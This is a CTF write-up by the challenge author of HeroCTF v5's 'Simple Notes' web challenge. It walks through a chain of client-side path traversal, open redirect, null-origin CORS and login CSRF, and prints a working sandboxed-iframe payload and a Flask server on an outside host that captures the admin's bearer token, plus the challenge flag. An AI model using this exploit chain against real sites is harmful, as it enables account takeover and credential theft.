title: Simple Notes
date: May 15, 2023
tags: Writeup Web HeroCTF_v5 MyChallenges
Difficulty: 500 points | 2 solves
Description: Another classic note challenge... Or maybe not :)
Report a vulnerability: curl -kX POST -d 'url={{URL}}' https://simplenotes.heroctf.fr/report
(You must use a chromium based browser to solve this challenge)
Sources: simple_notes.zip
Author: Me :p
As at all CTFs, there is a web challenge with a note management application and simple notes was the one for the HeroCTF 2023!
As always, it is possible to create notes, but unlike other notes challenges note's content isn't rendered and well sanitize.
var noHTML = (s) => {
return s.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'");
}
// Retracted
var handleNotes = (user, notes) => {
var parse = (note) => {
return `<tr>
<td>
<p class="fw-normal mb-1">${noHTML(note[1])}</p>
<p class="text-muted mb-0">${noHTML(user)}</p>
</td>
<td>
<span class="badge badge-success rounded-pill d-inline">Active</span>
</td>
<td>${noHTML(note[2])}</td>
<td>
<a href="/note/${noHTML(note[0])}" class="btn btn-link btn-sm btn-rounded">
Edit
</a>
</td>
</tr>`
}
output.innerHTML = `${notes.map(note => parse(note)).join("")}`;
}
In addition, the web application uses an API to manage users information / notes. To use this API, a bearer token located in the localStorage is used in addition of the session token to authenticate the user.
var fetchAPI = async (path, method, data) => {
var options = {};
options.method = method;
options.headers = {}
options.headers["Content-Type"] = "application/json";
if (data)
options.body = JSON.stringify(data);
var bearer = localStorage.getItem("bearer");
if (bearer)
options.headers["Authorization"] = `Bearer ${bearer}`;
return fetch(path, options).then(d => d.json()).then((d) => { return d });
}
So, for this challenge, we have to find a way to steal the admin user API Bearer without using an XSS :)
In this section, we are going to list all gadgets that has to be found to craft the final exploit.
If we look closely to the network tab of the developer console when loading the /notes endpoint, we can see that the current username is used to fetch the API.
var profileAPI = async (user) => {
var res = await fetchAPI(`/api/user/${user}`, "GET")
handleNotes(user, res["notes"]);
return res["notes"]
}
So, if we can control the username of the admin user, it would be possible to achieve a client side path traversal. For example with ../../../:
Inside the main.js file, all routes used from client side are defined. Thanks to it, we can find an additional parameter (r) which is used to specify a redirect URL when logout. Because it is not sanitized, we can redirect the user to any URL we want.
var logoutAPI = () => {
localStorage.clear();
location.href = "/logout?r=/login";
}
The API has the following CORS configuration:
access-control-allow-credentials: true
access-control-allow-origin: null
This configuration is really interesting because, a sandboxed iframe has a null origin! For example, the following code can be used to read data in a cross-site configuration.
var host = "https://example.com"
var ifr = document.createElement("iframe");
ifr.sandbox = "allow-scripts allow-top-navigation";
ifr.srcdoc = `<script>
fetch("${host}/api/me").then(d => d.text()).then((d) => {
alert(d);
})
<\x2fscript>`;
document.body.appendChild(ifr);
WARNING: this won't be enough in the challenge configuration because, we need to provide an additional Bearer token!
The session cookie has SameSite set to None which allows cross-site usage!
Well, now that we found several issues in the web application, we need to find a way to chain them to steal the admin's note. To do so, we have to abuse a very interesting fetch behavior 👀
Have you ever wondered what is happening to the headers of a fetch request when this request is triggered by a SSOR? If not, let's try on the challenge! (Ensure to use a chromium based browser!)
You should have the following error:
This error comes from the fetch's pre-flight request made to webhook.site which doesn't return valid CORS to allow the query. To fix it, use the following flask application: (ensure to use HTTPs)
from flask import Flask, request
from flask_cors import CORS
app = Flask(__name__)
cors = CORS(app, resources={
r"/*": {
"origins": "*"
}
}, allow_headers=[
"Authorization",
"Content-Type"
], supports_credentials=True)
@app.route("/")
def index():
print(request.headers)
return ""
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5555, ssl_context=("cert/cert.pem", "cert/key.pem"))
Doing the exploit but with your own server should result in the following output:
Yes! The second request is build from options of the first one 👀
If you want to have more information about this behavior, feel free to read the following links:
Now that we found a way to steal the admin's API Bearer if we control his username, we need to find a way to force him to log into a vulnerable account without changing is localStorage bearer.
Something really important about the localStorage, is that it can't be changed Server Side. Thus, the developer has to "manually" set it when a user logs into the application.
var loginAPI = async (username, password) => {
var res = await fetchAPI("/api/login", "POST", {
"username": username,
"password": password
})
if (res["error"])
handleError(res["error"]);
if (res["bearer"]) {
localStorage.setItem("bearer", res["bearer"]);
location.href = "/notes";
}
}
But, what would happen if, thanks to a CSRF, we log into the admin into our account cross-site? In fact, the session token will be updated, but not the API Bearer! Thanks to the previously found gadgets, we have everything needed to achieve it!
Example of exploit:
<div id="exploit"></div>
<script>
// Init
var host = "https://simplenotes.heroctf.fr"
var username = "../../logout?r=https://mizu.re:5555/";
var password = "mizu";
// Change account
var ifr = document.createElement("iframe");
ifr.sandbox = "allow-scripts allow-top-navigation";
ifr.srcdoc = `<script>
fetch("${host}/api/login", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"username": "${username}",
"password": "${password}"
}),
credentials: "include"
}).then(d => d.json()).then((d) => {
top.location.href = "${host}/api/";
})
<\\x2Fscript>`;
exploit.appendChild(ifr);
</script>
If we set up a flask server that abuse all gadget explained before, and send the CSRF link to the bot, we get it's API Bearer token!! 🎉
from flask import Flask, request
from flask_cors import CORS
app = Flask(__name__)
cors = CORS(app, resources={
r"/*": {
"origins": "*"
}
}, allow_headers=[
"Authorization",
"Content-Type"
], supports_credentials=True)
@app.route("/")
def index():
print(request.headers)
return ""
@app.route("/csrf")
def csrf():
return """
<div id="exploit"></div>
<script>
// Init
var host = "https://simplenotes.heroctf.fr"
var username = "../../logout?r=https://mizu.re:5555/";
var password = "mizu";
// Change account
var ifr = document.createElement("iframe");
ifr.sandbox = "allow-scripts allow-top-navigation";
ifr.srcdoc = `<script>
fetch("${host}/api/login", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"username": "${username}",
"password": "${password}"
}),
credentials: "include"
}).then(d => d.json()).then((d) => {
top.location.href = "${host}/api/";
})
<\\x2Fscript>`;
exploit.appendChild(ifr);
</script>
"""
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5555, ssl_context=("cert/cert.pem", "cert/key.pem"))
Now that we have the admin token, we simply need to use it to get the flag! (You can use any a session token from any account :p)
Flag: Hero{Cl13nT_S1d3_P4tH_Tr4v3rS4l_T0_R3d1r3cT} 🎉